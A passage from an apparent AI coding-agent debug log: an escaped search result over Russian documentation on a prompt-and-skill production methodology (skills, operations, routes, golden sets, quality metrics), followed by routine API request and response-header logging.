\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0432 \u043a\u0430\u043a\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u043e\u043d\u0438 \u0438\u0434\u0443\u0442, \u0447\u0442\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0434\u043e\\n\u043d\u0430\u0447\u0430\u043b\u0430 \u0438 \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u0432 \u043a\u043e\u043d\u0446\u0435. \u0421\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u2014 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445\\n\u0444\u0430\u043a\u0442\u043e\u0432, \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u2014 \u0444\u043e\u0440\u043c\u043e\u0439 \u043d\u0435\\n\u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f: \u043e\u043d\u043e \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M0`\u2013`M4` \u0438\\n\u043c\u0438\u043a\u0440\u043e-\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 `check`. \u041f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\\n\u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u0444\u043e\u0440\u043c\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u043e\u0436\u043d\u044b\u043c, \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.\\n\\n## 4. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, \u043d\u0430\u0432\u044b\u043a, \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\\n\\n\u0427\u0435\u0442\u044b\u0440\u0435 \u043f\u043e\u043d\u044f\u0442\u0438\u044f, \u0441\u043b\u0438\u0442\u044b\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043f\u0438\u0446\u044b \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 (\u043f\u0440\u043e\u043c\u043f\u0442), \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0441 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c\u044e. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u043c\u0435\u043d\u044f\u0435\u0442 \u0435\u0451: \u043c\u0435\u0436\u0434\u0443\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0432\u044b\u043a.\\n\\n```text\\nProcess \u2500\u25001:N\u2500\u2500\u25b6 Skill \u2500\u25001:N\u2500\u2500\u25b6 Operation\\n   \u25b2                                  \\n   \u2514\u2500\u2500 Route: \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0433\u0440\u0430\u0444\u0443\\n```\\n\\n| \u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 | \u041a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c | \u041f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- |\\n| `Process` \u2192 `Skill` | 1 : N, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e \u043f\u043e \u0433\u0440\u0430\u0444\u0443 | `OPS-1`: \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443; \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434, \u0441\u043e\u0441\u0442\u0430\u0432 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438 \u0442\u043e\u0447\u043a\u0438 \u0433\u0435\u0439\u0442\u043e\u0432. |\\n| `Skill` \u2192 `Operation` | 1 : N, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e | `OPS-2`: \u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441: \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c. |\\n| `Skill` \u2192 `Artifact` | 1 : 1..N | `OPS-3`: \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b; \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f. |\\n| `Operation` \u2192 `Artifact` | 1 : 1 | `OPS-4`: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 (`OA-1`). \u0414\u0432\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u2014 \u0434\u0432\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. |\\n| `Route` \u2192 `Process` | N : 1 | `OPS-5`: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014 \u0433\u0440\u0430\u0444 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u0430\u044f \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430. |\\n38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432) |\\n164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\n165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\n166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438\u00bb |\\n174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\n177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\n181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\n182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\n189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435 (66 \u0438\u0437 67 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043c\u0443\u043b\u044c\u0442\u0438\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0435) |\\n194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f | `DP-1`\u2026`DP-5`, `FM-1`, ADR-013, ADR-016 |\\n215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n216:  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\\n40-practice-and-cases.md:22:# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437\\n40-practice-and-cases.md:29:## 1. \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: BCREQ\\n40-practice-and-cases.md:124:## 2. \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c\\n40-practice-and-cases.md:142:## 3. \u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 MVP-\u0441\u0440\u0435\u0437\\n40-practice-and-cases.md:159:## 4. \u041f\u043b\u0430\u043d \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\\n40-practice-and-cases.md:185:## 5. \u0413\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\\n40-practice-and-cases.md:207:## 6. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438\\n30-decision-framework.md:23:# \u0420\u0430\u043c\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439: \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 Execution Package\\n30-decision-framework.md:25:## 1. \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0438 \u0447\u0435\u043c \u043e\u043d\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\\n30-decision-framework.md:41:## 2. \u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u043f\u0430\u043a\u0435\u0442\u0430\\n30-decision-framework.md:67:## 3. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e `SKILL.md`\\n30-decision-framework.md:90:# \u043f\u043e\u043b\u044f \u0441\u0440\u0435\u0434\u044b (GC-2): \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b, \u0438\u043c\u044f \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 (GC-4)\\n30-decision-framework.md:93:# \u043f\u043e\u043b\u044f \u0434\u0435\u043b\u044c\u0442\u044b Source (SK-0): \u0441\u0440\u0435\u0434\u0430 \u0438\u0445 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438 \u043d\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442\\n30-decision-framework.md:109:# \u041d\u0430\u0432\u044b\u043a: <\u0438\u043c\u044f>\\n30-decision-framework.md:111:## \u041a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c\\n30-decision-framework.md:114:## \u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f\\n30-decision-framework.md:117:## \u0428\u0430\u0433\u0438\\n30-decision-framework.md:120:## \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0432\u044b\u0445\u043e\u0434\u0430\\n30-decision-framework.md:123:## \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (G-self)\\n30-decision-framework.md:126:## \u041e\u0442\u043a\u0430\u0437\\n30-decision-framework.md:144:## 4. \u041c\u0430\u0440\u0448\u0440\u0443\u0442: \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n30-decision-framework.md:156:### 4.1 \u0413\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\\n30-decision-framework.md:201:### 4.2 \u041b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n30-decision-framework.md:235:## 5. Golden Set\\n30-decision-framework.md:258:# <\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043a\u0435\u0439\u0441\u0430>\\n30-decision-framework.md:259:## \u0412\u0445\u043e\u0434\\n30-decision-framework.md:260:## \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0432\u044b\u0445\u043e\u0434\u0430\\n30-decision-framework.md:261:## \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 (\u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e)\\n30-decision-framework.md:262:## \u0427\u0435\u0433\u043e \u0432 \u044d\u0442\u0430\u043b\u043e\u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435\u0442\\n30-decision-framework.md:270:## 6. \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438\\n30-decision-framework.md:285:## 7. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0440\u0430\u043c\u043a\u0438\",\n[2026-09-29T07:44:54.483Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:44:54.483Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:44:54.483Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:44:54.483Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:44:54.483Z] [INFO]   }\n[2026-09-29T07:44:54.483Z] [INFO] }\n[2026-09-29T07:44:54.492Z] [STDOUT] [log_c6b63d] sending request {\n[2026-09-29T07:44:54.497Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:54.504Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:54.508Z] [STDOUT]   options: {\n[2026-09-29T07:44:54.515Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:54.520Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:54.525Z] [STDOUT]     body: {\n[2026-09-29T07:44:54.527Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:54.531Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:54.534Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:54.536Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:54.540Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:54.542Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:54.545Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:54.547Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:54.549Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:54.552Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:54.555Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:54.567Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:54.572Z] [STDOUT]     },\n[2026-09-29T07:44:54.576Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:54.581Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:54.585Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:54.590Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:54.600Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:54.605Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:54.613Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:54.623Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:54.627Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:54.638Z] [STDOUT]     },\n[2026-09-29T07:44:54.648Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:54.657Z] [STDOUT]   },\n[2026-09-29T07:44:54.661Z] [STDOUT]   headers: {\n[2026-09-29T07:44:54.664Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:54.668Z] [STDOUT]     \"anthropic-beta\": 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\"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:57.096Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:57.102Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:57.106Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:57.111Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:57.123Z] [STDOUT]   \"request-id\": \"req_011CfXMidpmDGRzEcQCjLKs6\",\n[2026-09-29T07:44:57.135Z] [STDOUT]   \"traceresponse\": \"00-092b5543b32e61eaeecf3a7490b9402e-40e6e197747db6c6-01\",\n[2026-09-29T07:44:57.141Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:57.144Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:57.147Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:57.150Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:57.155Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:57.162Z] [STDOUT]   \"cf-ray\": \"a4295d8e0e814d8b-FRA\",\n[2026-09-29T07:44:57.166Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:57.169Z] [STDOUT] [log_236f4b] response parsed {\n[2026-09-29T07:44:57.173Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:57.177Z] [STDOUT]   status: 